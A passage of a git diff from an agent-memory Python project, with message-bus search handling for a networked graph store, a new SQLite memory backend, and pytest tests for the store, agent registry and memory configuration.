query_id, table, + ) + return + + # Buffer for OODA loop so agent_entrypoint can also handle it via recall() + with self._query_lock: + self._query_events.append(event) + logger.debug( + "[%s] Buffered search_query event from %s (query_id=%s queue_depth=%d)", + self._agent_id, + event.source_agent, + query_id, + len(self._query_events), + ) + + # Search local graph store: try specified table + all known tables + # so that facts stored under different table names are still reachable. + results = [] + seen_ids: set[str] = set() + for search_table in ([table] + [t for t in _QUERY_SEARCH_TABLES if t != table]): + try: + hits = self._local.search_nodes(search_table, text, fields, limit) + for h in hits: + nid = h.get("node_id", "") + key = nid if nid else str(h.get("content", "")) + if key and key not in seen_ids: + seen_ids.add(key) + results.append(h) + except Exception: + logger.debug( + "[%s] search_nodes failed for table=%s (table may not exist yet)", + self._agent_id, search_table, exc_info=True, + ) + logger.debug( + "[%s] search_query query_id=%s: local graph store returned %d result(s)", + self._agent_id, query_id, len(results), + ) + + # Also search via recall_fn (CognitiveAdapter → Kuzu) when available + # This is the path where LEARN_CONTENT facts live + if self._recall_fn is not None: + try: + cognitive_hits = self._recall_fn(text, limit) + before = len(results) + seen_ids = {r.get("node_id") for r in results if r.get("node_id")} + for r in cognitive_hits: + content = r.get("outcome") or r.get("content") or r.get("fact") or "" + if not content: + continue + node_id = r.get("experience_id") or r.get("node_id") or "" + if node_id and node_id in seen_ids: + continue + if node_id: + seen_ids.add(node_id) + results.append( + { + "content": content, + "concept": r.get("context") or r.get("concept") or "", + "confidence": r.get("confidence", 0.8), + "node_id": node_id, + "source": self._agent_id, + } + ) + logger.debug( + "[%s] search_query query_id=%s: recall_fn added %d cognitive result(s) " + "(total=%d)", + self._agent_id, query_id, len(results) - before, len(results), + ) + except Exception: + logger.debug( + "[%s] recall_fn failed for search_query query_id=%s", + self._agent_id, query_id, exc_info=True, + ) + + logger.info( + "[%s] search_query query_id=%s text=%r: responding with %d result(s) " + "(recall_fn=%s)", + self._agent_id, query_id, text, len(results), self._recall_fn is not None, + ) + self._publish( + _OP_SEARCH_RESPONSE, + { + "query_id": query_id, + "results": results, + }, + ) + + elif op == _OP_SEARCH_RESPONSE: + query_id = payload.get("query_id", "") + results = payload.get("results", []) + with self._pending_lock: + pending = self._pending_searches.get(query_id) + if pending is not None: + pending["results"].extend(results) + pending["event"].set() + logger.debug( + "[%s] search_response query_id=%s: received %d result(s) from %s", + self._agent_id, query_id, len(results), event.source_agent, + ) + else: + logger.debug( + "[%s] search_response query_id=%s: no pending waiter (already timed out?)", + self._agent_id, query_id, + ) + + elif op == "LEARN_CONTENT": + # Buffer for the OODA loop to drain via receive_events() + with self._learn_lock: + self._learn_events.append(event) + logger.debug( + "Buffered LEARN_CONTENT event from %s (queue depth=%d)", + event.source_agent, + len(self._learn_events), + ) + + elif op == _OP_QUERY: + # Buffer for the OODA loop to drain via receive_query_events() + with self._query_lock: + self._query_events.append(event) + logger.debug( + "[%s] Buffered QUERY event from %s (queue depth=%d)", + self._agent_id, + event.source_agent, + len(self._query_events), + ) + # Also auto-respond with local graph search results + query_id = payload.get("query_id", "") + question = payload.get("question", "") or payload.get("text", "") + if query_id and question: + self._handle_query_event(query_id, question) + + else: + logger.debug( + "[%s] _handle_event: unrecognised event type=%r from=%r — ignored", + self._agent_id, + op, + event.source_agent, + ) + + def receive_events(self) -> list[Any]: + """Drain and return all buffered LEARN_CONTENT events. + + Called by the Memory facade so the OODA loop can process incoming + learning events published by external agents or feed_content.py. + + Returns: + List of BusEvent objects (LEARN_CONTENT type), oldest first. + """ + with self._learn_lock: + events = list(self._learn_events) + self._learn_events.clear() + return events + + def receive_query_events(self) -> list[Any]: + """Drain and return all buffered QUERY events. + + Called by the Memory facade so the OODA loop can process incoming + QUERY messages and generate responses via the agent's cognitive memory. + + Returns: + List of BusEvent objects (QUERY type), oldest first. + """ + with self._query_lock: + events = list(self._query_events) + self._query_events.clear() + return events + + def send_query_response( + self, + query_id: str, + question: str, + results: list[str], + ) -> None: + """Publish a QUERY_RESPONSE event with cognitive memory recall results. + + Called by the OODA loop after the agent runs memory.recall() on a + received QUERY event. + + Args: + query_id: The query_id from the original QUERY event. + question: The question that was asked. + results: List of recalled fact strings from cognitive memory. + """ + self._publish( + _OP_SEARCH_RESPONSE, + { + "query_id": query_id, + "question": question, + "results": [{"content": r} for r in results], + "responder": self._agent_id, + "source": "cognitive_memory", + }, + ) + logger.debug( + "Published QUERY_RESPONSE for query_id=%s with %d results", + query_id, + len(results), + ) + + def _handle_query_event(self, query_id: str, question: str) -> None: + """Auto-respond to a QUERY event using Kuzu memory search. + + When a recall_fn is wired (pointing to CognitiveAdapter.search), it + queries the cognitive Kuzu store which holds LEARN_CONTENT facts using + substring and n-gram matching across all stored content. + Falls back to searching the local graph store tables directly. + + Args: + query_id: The query_id from the incoming QUERY event. + question: The question text to search for. + """ + results: list[dict[str, Any]] = [] + + # Primary path: delegate to recall_fn (CognitiveAdapter → Kuzu) + if self._recall_fn is not None: + try: + cognitive_hits = self._recall_fn(question, 10) + for r in cognitive_hits: + # Normalise cognitive adapter dicts to graph node format + content = r.get("outcome") or r.get("content") or r.get("fact") or "" + if content: + results.append( + { + "content": content, + "concept": r.get("context") or r.get("concept") or "", + "confidence": r.get("confidence", 0.8), + "node_id": r.get("experience_id") or r.get("node_id") or "", + "source": self._agent_id, + } + ) + logger.debug( + "recall_fn returned %d results for query_id=%s", + len(results), + query_id, + ) + except Exception: + logger.debug("recall_fn failed for query_id=%s", query_id, exc_info=True) + + # Fallback / supplemental: search all tables in local graph store. + # This covers content not in the cognitive adapter (e.g. create_node replication) + # and ensures recall even when the recall_fn search is too restrictive. + seen_content = {r.get("content", "") for r in results if r.get("content")} + for table in _QUERY_SEARCH_TABLES: + try: + hits = self._local.search_nodes(table, question, limit=5) + for h in hits: + c = h.get("content", "") + if c and c not in seen_content: + seen_content.add(c) + results.append(h) + except Exception: + logger.debug("search_nodes failed for table=%s", table, exc_info=True) + + if not results: + logger.debug( + "QUERY query_id=%s: no results from recall_fn or graph store", + query_id, + ) + return + self._publish( + _OP_SEARCH_RESPONSE, + { + "query_id": query_id, + "question": question, + "results": results, + "responder": self._agent_id, + "source": "kuzu" if self._recall_fn is not None else "graph_store", + }, + ) + logger.debug( + "Auto-responded to QUERY query_id=%s with %d results (recall_fn=%s)", + query_id, + len(results), + self._recall_fn is not None, + ) + + # ------------------------------------------------------------------ + # Helpers + # ------------------------------------------------------------------ + + def _publish(self, event_type: str, payload: dict[str, Any]) -> None: + """Publish an event to the bus, serializing payload safely.""" + from amplihack.agents.goal_seeking.hive_mind.event_bus import make_event + + try: + # Validate payload is JSON-serializable + json.dumps(payload) + except (TypeError, ValueError): + logger.warning("NetworkGraphStore: payload not JSON-serializable, skipping publish") + return + + event = make_event(event_type, self._agent_id, payload) + try: + self._bus.publish(event) + except Exception: + logger.debug("Failed to publish %s event", event_type, exc_info=True) + + @staticmethod + def _merge_results( + local: list[dict[str, Any]], + remote: list[dict[str, Any]], + limit: int, + ) -> list[dict[str, Any]]: + """Merge local and remote results, deduplicating by node_id.""" + seen: set[str] = set() + merged: list[dict[str, Any]] = [] + for node in local + remote: + nid = node.get("node_id") + key = nid if nid else json.dumps(node, sort_keys=True, default=str) + if key not in seen: + seen.add(key) + merged.append(node) + if len(merged) >= limit: + break + return merged + + +__all__ = ["AgentRegistry", "NetworkGraphStore"] diff --git a/src/amplihack/memory/retrieval_pipeline.py b/src/amplihack/memory/retrieval_pipeline.py index 6043c1cff..c668bcc01 100644 --- a/src/amplihack/memory/retrieval_pipeline.py +++ b/src/amplihack/memory/retrieval_pipeline.py @@ -1,4 +1,4 @@ -"""Retrieval pipeline fer 5-type memory system. +"""Retrieval pipeline for 5-type memory system. Re-exports RetrievalQuery from coordinator. diff --git a/src/amplihack/memory/sqlite_backend.py b/src/amplihack/memory/sqlite_backend.py new file mode 100644 index 000000000..876e9fffe --- /dev/null +++ b/src/amplihack/memory/sqlite_backend.py @@ -0,0 +1,160 @@ +"""SQLite memory backend — protocol definition and SQLite implementation. + +Replaces the old backends/ directory. Provides the MemoryBackend protocol, +BackendCapabilities, SQLiteBackend, and create_backend factory. + +Public API: + MemoryBackend: Protocol interface all backends must implement + BackendCapabilities: Feature flags for each backend + SQLiteBackend: MemoryBackend implementation using SQLite + create_backend: Factory function to create a backend instance +""" + +import asyncio +import logging +from concurrent.futures import ThreadPoolExecutor +from dataclasses import dataclass +from pathlib import Path +from typing import Any, Protocol + +from .database import MemoryDatabase +from .models import MemoryEntry, MemoryQuery, SessionInfo + +logger = logging.getLogger(__name__) + + +@dataclass +class BackendCapabilities: + """Capabilities that each backend supports.""" + + supports_graph_queries: bool = False + supports_vector_search: bool = False + supports_transactions: bool = True + supports_fulltext_search: bool = False + max_concurrent_connections: int = 1 + backend_name: str = "unknown" + backend_version: str = "0.0.0" + + +class MemoryBackend(Protocol): + """Protocol interface that all memory backends must implement.""" + + def get_capabilities(self) -> BackendCapabilities: ... + + async def initialize(self) -> None: ... + + async def store_memory(self, memory: MemoryEntry) -> bool: ... + + async def retrieve_memories(self, query: MemoryQuery) -> list[MemoryEntry]: ... + + async def get_memory_by_id(self, memory_id: str) -> MemoryEntry | None: ... + + async def delete_memory(self, memory_id: str) -> bool: ... + + async def cleanup_expired(self) -> int: ... + + async def get_session_info(self, session_id: str) -> SessionInfo | None: ... + + async def list_sessions(self, limit: int | None = None) -> list[SessionInfo]: ... + + async def get_stats(self) -> dict[str, Any]: ... + + async def close(self) -> None: ... + + +class SQLiteBackend: + """SQLite backend — wraps MemoryDatabase to implement MemoryBackend protocol.""" + + def __init__(self, db_path: Path | str | None = None): + self.database = MemoryDatabase(db_path) + self._executor = ThreadPoolExecutor(max_workers=1) + + def get_capabilities(self) -> BackendCapabilities: + return BackendCapabilities( + supports_graph_queries=False, + supports_vector_search=False, + supports_transactions=True, + supports_fulltext_search=True, + max_concurrent_connections=1, + backend_name="sqlite", + backend_version="3.x", + ) + + async def initialize(self) -> None: + loop = asyncio.get_event_loop() + await loop.run_in_executor(self._executor, self.database.initialize) + + async def store_memory(self, memory: MemoryEntry) -> bool: + loop = asyncio.get_event_loop() + return await loop.run_in_executor(self._executor, self.database.store_memory, memory) + + async def retrieve_memories(self, query: MemoryQuery) -> list[MemoryEntry]: + loop = asyncio.get_event_loop() + return await loop.run_in_executor(self._executor, self.database.retrieve_memories, query) + + async def get_memory_by_id(self, memory_id: str) -> MemoryEntry | None: + loop = asyncio.get_event_loop() + return await loop.run_in_executor(self._executor, self.database.get_memory_by_id, memory_id) + + async def delete_memory(self, memory_id: str) -> bool: + loop = asyncio.get_event_loop() + return await loop.run_in_executor(self._executor, self.database.delete_memory, memory_id) + + async def cleanup_expired(self) -> int: + loop = asyncio.get_event_loop() + return await loop.run_in_executor(self._executor, self.database.cleanup_expired) + + async def get_session_info(self, session_id: str) -> SessionInfo | None: + loop = asyncio.get_event_loop() + return await loop.run_in_executor(self._executor, self.database.get_session_info, session_id) + + async def list_sessions(self, limit: int | None = None) -> list[SessionInfo]: + loop = asyncio.get_event_loop() + return await loop.run_in_executor(self._executor, self.database.list_sessions, limit) + + async def delete_session(self, session_id: str) -> bool: + loop = asyncio.get_event_loop() + return await loop.run_in_executor(self._executor, self.database.delete_session, session_id) + + async def get_stats(self) -> dict[str, Any]: + loop = asyncio.get_event_loop() + return await loop.run_in_executor(self._executor, self.database.get_stats) + + def get_code_graph(self): + """Return None — SQLite backend has no code graph support.""" + return None + + async def close(self) -> None: + loop = asyncio.get_event_loop() + await loop.run_in_executor(self._executor, self.database.close) + self._executor.shutdown(wait=True) + + async def __aenter__(self): + return self + + async def __aexit__(self, exc_type, exc_val, exc_tb): + await self.close() + return False + + +def create_backend(backend_type: str | None = None, **config: Any) -> "MemoryBackend": + """Create a SQLite memory backend. + + Args: + backend_type: Ignored (only SQLite is supported; use KuzuGraphStore for graph storage). + **config: Backend-specific configuration. Accepts ``db_path``. + + Returns: + Initialized SQLiteBackend instance. + """ + if backend_type is not None and backend_type.lower() not in ("sqlite", ""): + logger.warning( + "create_backend: backend_type=%r is not supported; using SQLite. " + "For graph storage use KuzuGraphStore directly.", + backend_type, + ) + db_path = config.get("db_path") + return SQLiteBackend(db_path=db_path) + + +__all__ = ["BackendCapabilities", "MemoryBackend", "SQLiteBackend", "create_backend"] diff --git a/src/amplihack/memory/storage_pipeline.py b/src/amplihack/memory/storage_pipeline.py index a80b5e804..d798c070a 100644 --- a/src/amplihack/memory/storage_pipeline.py +++ b/src/amplihack/memory/storage_pipeline.py @@ -1,4 +1,4 @@ -"""Storage pipeline fer 5-type memory system. +"""Storage pipeline for 5-type memory system. Re-exports StorageRequest from coordinator. diff --git a/src/amplihack/memory/tests/__init__.py b/src/amplihack/memory/tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/amplihack/memory/tests/test_network_store.py b/src/amplihack/memory/tests/test_network_store.py new file mode 100644 index 000000000..04b5d9fbe --- /dev/null +++ b/src/amplihack/memory/tests/test_network_store.py @@ -0,0 +1,591 @@ +"""Tests for NetworkGraphStore.""" + +from __future__ import annotations + +import threading +import time +from unittest.mock import MagicMock, patch + +import pytest + +from amplihack.memory.memory_store import InMemoryGraphStore +from amplihack.memory.network_store import ( + AgentRegistry, + NetworkGraphStore, + _OP_CREATE_EDGE, + _OP_CREATE_NODE, + _OP_SEARCH_QUERY, + _OP_SEARCH_RESPONSE, +) + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +def _make_store(transport: str = "local") -> NetworkGraphStore: + """Create a NetworkGraphStore with local transport for testing.""" + return NetworkGraphStore( + agent_id="test-agent", + local_store=InMemoryGraphStore(), + transport=transport, + ) + + +# --------------------------------------------------------------------------- +# Unit tests +# --------------------------------------------------------------------------- + + +class TestNetworkGraphStoreLocal: + """Tests using local transport (in-process bus).""" + + def test_create_node_returns_id(self): + store = _make_store() + node_id = store.create_node("semantic_memory", {"concept": "sky", "content": "blue"}) + assert isinstance(node_id, str) + assert len(node_id) > 0 + store.close() + + def test_create_node_stored_locally(self): + store = _make_store() + node_id = store.create_node("semantic_memory", {"concept": "test", "content": "hello"}) + node = store.get_node("semantic_memory", node_id) + assert node is not None + assert node["concept"] == "test" + store.close() + + def test_search_nodes_returns_local_results(self): + store = _make_store() + store.create_node("semantic_memory", {"concept": "sky", "content": "blue sky"}) + store.create_node("semantic_memory", {"concept": "ocean", "content": "deep ocean"}) + results = store.search_nodes("semantic_memory", "sky") + assert len(results) >= 1 + assert any("sky" in r.get("content", "") for r in results) + store.close() + + def test_ensure_table(self): + store = _make_store() + store.ensure_table("semantic_memory", {"node_id": "STRING", "content": "STRING"}) + # Should not raise + node_id = store.create_node("semantic_memory", {"content": "test"}) + assert node_id + store.close() + + def test_query_nodes(self): + store = _make_store() + store.create_node("semantic_memory", {"concept": "a", "content": "aaa"}) + store.create_node("semantic_memory", {"concept": "b", "content": "bbb"}) + results = store.query_nodes("semantic_memory") + assert len(results) == 2 + store.close() + + def test_update_and_get_node(self): + store = _make_store() + node_id = store.create_node("semantic_memory", {"content": "old"}) + store.update_node("semantic_memory", node_id, {"content": "new"}) + node = store.get_node("semantic_memory", node_id) + assert node["content"] == "new" + store.close() + + def test_delete_node(self): + store = _make_store() + node_id = store.create_node("semantic_memory", {"content": "temp"}) + store.delete_node("semantic_memory", node_id) + node = store.get_node("semantic_memory", node_id) + assert node is None + store.close() + + def test_create_and_get_edge(self): + store = _make_store() + n1 = store.create_node("semantic_memory", {"content": "a"}) + n2 = store.create_node("semantic_memory", {"content": "b"}) + store.create_edge("RELATED_TO", "semantic_memory", n1, "semantic_memory", n2) + edges = store.get_edges(n1, "RELATED_TO", "out") + assert len(edges) == 1 + store.close() + + def test_export_import_nodes(self): + store = _make_store() + store.create_node("semantic_memory", {"content": "x"}) + exported = store.export_nodes() + assert len(exported) >= 1 + + store2 = _make_store() + count = store2.import_nodes(exported) + assert count >= 1 + store.close() + store2.close() + + def test_get_all_node_ids(self): + store = _make_store() + n1 = store.create_node("semantic_memory", {"content": "a"}) + n2 = store.create_node("semantic_memory", {"content": "b"}) + ids = store.get_all_node_ids() + assert n1 in ids + assert n2 in ids + store.close() + + def test_close_is_idempotent(self): + store = _make_store() + store.close() + # Second close should not raise + store.close() + + +class TestNetworkGraphStoreMerge: + """Tests for result merging logic.""" + + def test_merge_deduplicates_by_node_id(self): + node = {"node_id": "abc", "content": "dup"} + merged = NetworkGraphStore._merge_results([node], [node], limit=10) + assert len(merged) == 1 + + def test_merge_respects_limit(self): + local = [{"node_id": str(i), "content": f"c{i}"} for i in range(5)] + remote = [{"node_id": str(i + 5), "content": f"c{i+5}"} for i in range(5)] + merged = NetworkGraphStore._merge_results(local, remote, limit=7) + assert len(merged) == 7 + + def test_merge_without_node_id(self): + n1 = {"content": "hello"} + n2 = {"content": "world"} + merged = NetworkGraphStore._merge_results([n1], [n2], limit=10) + assert len(merged) == 2 + + +class TestNetworkGraphStoreProcessIncoming: + """Tests for the _handle_event method.""" + + def test_handle_create_node_event(self): + store = _make_store() + from amplihack.agents.goal_seeking.hive_mind.event_bus import make_event + + event = make_event( + _OP_CREATE_NODE, + "other-agent", + { + "table": "semantic_memory", + "node_id": "xyz", + "properties": {"node_id": "xyz", "content": "remote fact"}, + }, + ) + store._handle_event(event) + node = store.get_node("semantic_memory", "xyz") + assert node is not None + assert node["content"] == "remote fact" + store.close() + + def test_handle_create_node_skips_duplicates(self): + store = _make_store() + from amplihack.agents.goal_seeking.hive_mind.event_bus import make_event + + # Create locally first + store._local.create_node("semantic_memory", {"node_id": "dup", "content": "original"}) + event = make_event( + _OP_CREATE_NODE, + "other-agent", + { + "table": "semantic_memory", + "node_id": "dup", + "properties": {"node_id": "dup", "content": "overwrite attempt"}, + }, + ) + store._handle_event(event) + node = store.get_node("semantic_memory", "dup") + assert node["content"] == "original" + store.close() + + def test_handle_search_query_publishes_response(self): + store = _make_store() + store._local.create_node( + "semantic_memory", {"node_id": "q1", "content": "blue sky"} + ) + published = [] + original_publish = store._publish + + def capture_publish(event_type, payload): + published.append((event_type, payload)) + original_publish(event_type, payload) + + store._publish = capture_publish + + from amplihack.agents.goal_seeking.hive_mind.event_bus import make_event + + event = make_event( + _OP_SEARCH_QUERY, + "other-agent", + { + "query_id": "qid-123", + "table": "semantic_memory", + "text": "sky", + "fields": None, + "limit": 10, + }, + ) + store._handle_event(event) + # Should have published a search response + response_events = [(t, p) for t, p in published if t == _OP_SEARCH_RESPONSE] + assert len(response_events) == 1 + assert response_events[0][1]["query_id"] == "qid-123" + store.close() + + def test_handle_search_query_buffered_for_ooda_loop(self): + """search_query events must be buffered so the OODA loop can process them.""" + from amplihack.agents.goal_seeking.hive_mind.event_bus import make_event + + store = _make_store() + event = make_event( + _OP_SEARCH_QUERY, + "other-agent", + { + "query_id": "qid-ooda", + "table": "semantic_memory", + "text": "test query", + "fields": None, + "limit": 5, + }, + ) + store._handle_event(event) + # The OODA loop should be able to drain this via receive_query_events() + buffered = store.receive_query_events() + assert len(buffered) == 1 + assert buffered[0].event_type == _OP_SEARCH_QUERY + assert buffered[0].payload["query_id"] == "qid-ooda" + store.close() + + def test_handle_search_query_uses_recall_fn(self): + """search_query handler must call recall_fn to surface LEARN_CONTENT facts.""" + from amplihack.agents.goal_seeking.hive_mind.event_bus import make_event + + store = _make_store() + # Install a mock recall_fn simulating CognitiveAdapter.search + cognitive_fact = {"content": "cognitive fact about sky", "confidence": 0.9} + store.recall_fn = lambda text, limit: [cognitive_fact] + + published = [] + original_publish = store._publish + + def capture_publish(event_type, payload): + published.append((event_type, payload)) + original_publish(event_type, payload) + + store._publish = capture_publish + + event = make_event( + _OP_SEARCH_QUERY, + "other-agent", + { + "query_id": "qid-recall", + "table": "semantic_memory", + "text": "sky", + "fields": None, + "limit": 10, + }, + ) + store._handle_event(event) + + response_events = [(t, p) for t, p in published if t == _OP_SEARCH_RESPONSE] + assert len(response_events) == 1 + results = response_events[0][1]["results"] + contents = [r.get("content", "") for r in results] + assert any("cognitive fact about sky" in c for c in contents), ( + f"recall_fn result not in response: {contents}" + ) + store.close() + + def test_handle_search_query_merges_local_and_cognitive_results(self): + """search_query response must merge both local graph and cognitive results.""" + from amplihack.agents.goal_seeking.hive_mind.event_bus import make_event + + store = _make_store() + store._local.create_node( + "semantic_memory", {"node_id": "local-1", "content": "local graph fact"} + ) + store.recall_fn = lambda text, limit: [ + {"content": "cognitive memory fact", "confidence": 0.8} + ] + + published = [] + original_publish = store._publish + + def capture_publish(event_type, payload): + published.append((event_type, payload)) + original_publish(event_type, payload) + + store._publish = capture_publish + + event = make_event( + _OP_SEARCH_QUERY, + "other-agent", + { + "query_id": "qid-merge", + "table": "semantic_memory", + "text": "fact", + "fields": None, + "limit": 10, + }, + ) + store._handle_event(event) + + response_events = [(t, p) for t, p in published if t == _OP_SEARCH_RESPONSE] + assert len(response_events) == 1 + results = response_events[0][1]["results"] + contents = " ".join(r.get("content", "") for r in results) + assert "local graph fact" in contents, f"local result missing: {results}" + assert "cognitive memory fact" in contents, f"cognitive result missing: {results}" + store.close() + + +class TestAgentRegistry: + """Tests for AgentRegistry (issue #2890).""" + + def test_register_and_list(self): + registry = AgentRegistry() + registry.register("agent-1") + registry.register("agent-2", {"domain": "biology"}) + agents = registry.list_agents() + assert "agent-1" in agents + assert "agent-2" in agents + + def test_unregister(self): + registry = AgentRegistry() + registry.register("agent-x") + registry.unregister("agent-x") + assert "agent-x" not in registry.list_agents() + + def test_unregister_nonexistent_is_safe(self): + registry = AgentRegistry() + registry.unregister("never-registered") # should not raise + + def test_get_metadata(self): + registry = AgentRegistry() + registry.register("agent-m", {"role": "coordinator"}) + meta = registry.get("agent-m") + assert meta == {"role": "coordinator"} + + def test_get_unknown_returns_none(self): + registry = AgentRegistry() + assert registry.get("missing") is None + + def test_network_store_registers_on_init(self): + registry = AgentRegistry() + store = NetworkGraphStore( + agent_id="agent-reg", + local_store=InMemoryGraphStore(), + transport="local", + agent_registry=registry, + ) + assert "agent-reg" in registry.list_agents() + store.close() + + def test_network_store_unregisters_on_close(self): + registry = AgentRegistry() + store = NetworkGraphStore( + agent_id="agent-close", + local_store=InMemoryGraphStore(), + transport="local", + agent_registry=registry, + ) + store.close() + assert "agent-close" not in registry.list_agents() + + def test_network_store_no_registry_works_normally(self): + store = NetworkGraphStore( + agent_id="agent-noreg", + local_store=InMemoryGraphStore(), + transport="local", + ) + node_id = store.create_node("t", {"content": "hello"}) + assert store.get_node("t", node_id) is not None + store.close() + + def test_multiple_stores_share_registry(self): + registry = AgentRegistry() + s1 = NetworkGraphStore( + agent_id="s1", local_store=InMemoryGraphStore(), transport="local", + agent_registry=registry, + ) + s2 = NetworkGraphStore( + agent_id="s2", local_store=InMemoryGraphStore(), transport="local", + agent_registry=registry, + ) + assert set(registry.list_agents()) == {"s1", "s2"} + s1.close() + assert "s1" not in registry.list_agents() + assert "s2" in registry.list_agents() + s2.close() + assert registry.list_agents() == [] + + +class TestMemoryConfigTransport: + """Tests for env var integration in MemoryConfig.""" + + def test_from_env_reads_transport(self, monkeypatch): + monkeypatch.setenv("AMPLIHACK_MEMORY_TRANSPORT", "redis") + monkeypatch.setenv("AMPLIHACK_MEMORY_CONNECTION_STRING", "redis://localhost:6379") + from amplihack.memory.config import MemoryConfig + + cfg = MemoryConfig.from_env() + assert cfg.memory_transport == "redis" + assert cfg.memory_connection_string == "redis://localhost:6379" + + def test_resolve_reads_transport_env(self, monkeypatch): + monkeypatch.setenv("AMPLIHACK_MEMORY_TRANSPORT", "azure_service_bus") + monkeypatch.setenv("AMPLIHACK_MEMORY_CONNECTION_STRING", "Endpoint=sb://test") + from amplihack.memory.config import MemoryConfig + + cfg = MemoryConfig.resolve("test-agent") + assert cfg.memory_transport == "azure_service_bus" + assert cfg.memory_connection_string == "Endpoint=sb://test" + + def test_default_transport_is_local(self): + from amplihack.memory.config import MemoryConfig + + cfg = MemoryConfig() + assert cfg.memory_transport == "local" + assert cfg.memory_connection_string == "" + + +class TestMemoryConfigDomainExpertise: + """Tests for domain_expertise field on MemoryConfig (issue #2891).""" + + def test_default_domain_expertise_is_empty(self): + from amplihack.memory.config import MemoryConfig + + cfg = MemoryConfig() + assert cfg.domain_expertise == "" + + def test_from_env_reads_domain_expertise(self, monkeypatch): + monkeypatch.setenv("AMPLIHACK_MEMORY_DOMAIN_EXPERTISE", "biology genetics") + from amplihack.memory.config import MemoryConfig + + cfg = MemoryConfig.from_env() + assert cfg.domain_expertise == "biology genetics" + + def test_resolve_reads_domain_expertise_from_env(self, monkeypatch): + monkeypatch.setenv("AMPLIHACK_MEMORY_DOMAIN_EXPERTISE", "chemistry materials") + from amplihack.memory.config import MemoryConfig + + cfg = MemoryConfig.resolve("test-agent") + assert cfg.domain_expertise == "chemistry materials" + + def test_explicit_kwarg_overrides_env(self, monkeypatch): + monkeypatch.setenv("AMPLIHACK_MEMORY_DOMAIN_EXPERTISE", "env-domain") + from amplihack.memory.config import MemoryConfig + + cfg = MemoryConfig.resolve("agent", domain_expertise="kwarg-domain") + assert cfg.domain_expertise == "kwarg-domain" + + def test_domain_expertise_set_directly(self): + from amplihack.memory.config import MemoryConfig + + cfg = MemoryConfig(domain_expertise="physics astronomy") + assert cfg.domain_expertise == "physics astronomy" + + +class TestLearnContentReceiver: + """Tests for LEARN_CONTENT event buffering and receive_events().""" + + def test_receive_events_empty_initially(self): + store = _make_store() + events = store.receive_events() + assert events == [] + store.close() + + def test_learn_content_buffered_by_handle_event(self): + from amplihack.agents.goal_seeking.hive_mind.event_bus import make_event + + store = _make_store() + event = make_event( + "LEARN_CONTENT", + "feed-content", + {"content": "The sky is blue", "turn": 1}, + ) + store._handle_event(event) + events = store.receive_events() + assert len(events) == 1 + assert events[0].event_type == "LEARN_CONTENT" + assert events[0].payload["content"] == "The sky is blue" + assert events[0].payload["turn"] == 1 + store.close() + + def test_receive_events_drains_queue(self): + from amplihack.agents.goal_seeking.hive_mind.event_bus import make_event + + store = _make_store() + for i in range(3): + store._handle_event( + make_event("LEARN_CONTENT", "feed", {"content": f"fact {i}", "turn": i}) + ) + first_drain = store.receive_events() + assert len(first_drain) == 3 + # Second drain should be empty + second_drain = store.receive_events() + assert second_drain == [] + store.close() + + def test_unrecognised_event_types_are_ignored(self): + from amplihack.agents.goal_seeking.hive_mind.event_bus import make_event + + store = _make_store() + store._handle_event( + make_event("SOME_UNKNOWN_TYPE", "other", {"data": "irrelevant"}) + ) + events = store.receive_events() + assert events == [] + store.close() + + def test_multiple_learn_content_events_accumulate(self): + from amplihack.agents.goal_seeking.hive_mind.event_bus import make_event + + store = _make_store() + contents = ["fact A", "fact B", "fact C", "fact D", "fact E"] + for i, content in enumerate(contents): + store._handle_event( + make_event("LEARN_CONTENT", "feed", {"content": content, "turn": i}) + ) + events = store.receive_events() + assert len(events) == len(contents) + retrieved = [e.payload["content"] for e in events] + assert retrieved == contents + store.close() + + +class TestMemoryFacadeReceiveEvents: + """Tests for Memory.receive_events() delegating to NetworkGraphStore.""" + + def test_receive_events_returns_empty_for_local_transport(self): + from amplihack.memory.facade import Memory + + mem = Memory("test-agent-recv", topology="single", backend="cognitive") + # local transport — no NetworkGraphStore, so receive_events() returns [] + events = mem.receive_events() + assert events == [] + mem.close() + + def test_receive_events_delegates_to_network_store(self): + from amplihack.agents.goal_seeking.hive_mind.event_bus import make_event + from amplihack.memory.network_store import NetworkGraphStore + from amplihack.memory.memory_store import InMemoryGraphStore + + ns = NetworkGraphStore( + agent_id="facade-agent", + local_store=InMemoryGraphStore(), + transport="local", + ) + # Inject a LEARN_CONTENT event directly + ns._handle_event( + make_event("LEARN_CONTENT", "feed", {"content": "Neurons fire", "turn": 5}) + ) + + # Patch the graph_store on a Memory instance + from amplihack.memory.facade import Memory + mem = Memory("facade-agent", topology="single", backend="cognitive") + mem._graph_store = ns + + events = mem.receive_events() + assert len(events) == 1 + assert events[0].payload["content"] == "Neurons fire" + mem.close() diff --git a/src/amplihack/memory/types.py b/src/amplihack/memory/types.py deleted file mode 100644 index a849ded00..000000000 --- a/src/amplihack/memory/types.py +++ /dev/null @@ -1,252 +0,0 @@ -"""Five psychological memory types for agent memory system. - -This module implements the 5 psychological memory types based on human memory research: -- Episodic: What happened when (conversations, events) -- Semantic: Important learnings (patterns, facts, knowledge) -- Prospective: Future intentions (TODOs, reminders) -- Procedural: How to do something (workflows, processes) -- Working: Active task details (current context, variables) - -Philosophy: -- Ruthless simplicity: Direct implementations without over-engineering -- Clear contracts: Each type has explicit required fields -- Self-contained: All validation logic within type classes -- Performance: Fast validation and type checking - -Public API: - MemoryType: Enum of 5 memory types - EpisodicMemory: What happened when - SemanticMemory: Important learnings - ProspectiveMemory: Future intentions - ProceduralMemory: How to do something - WorkingMemory: Active task details - MemorySchema: Generic schema validation - classify_memory_type: Automatic type classification -""" - -from dataclasses import dataclass, field -from datetime import datetime -from enum import Enum -from typing import Any - - -class MemoryType(Enum): - """Five psychological memory types.""" - - EPISODIC = "episodic" # What happened when - SEMANTIC = "semantic" # Important learnings - PROSPECTIVE = "prospective" # Future intentions - PROCEDURAL = "procedural" # How to do something - WORKING = "working" # Active task details - - -@dataclass -class EpisodicMemory: - """Episodic memory: What happened when. - - Captures conversations, events, and interactions with temporal context. - Requires timestamp and participants to establish "what happened when with whom". - """ - - timestamp: datetime | None = None - participants: list[str] | None = None - content: str = "" - context: str = "" - outcome: str = "" - memory_type: MemoryType = field(default=MemoryType.EPISODIC, init=False) - - def __post_init__(self): - """Validate required fields.""" - if not self.timestamp: - raise ValueError("Episodic memory requires timestamp fer when event occurred") - if not self.participants: - raise ValueError("Episodic memory requires participants to track who was involved") - - def is_in_time_range(self, start: datetime, end: datetime) -> 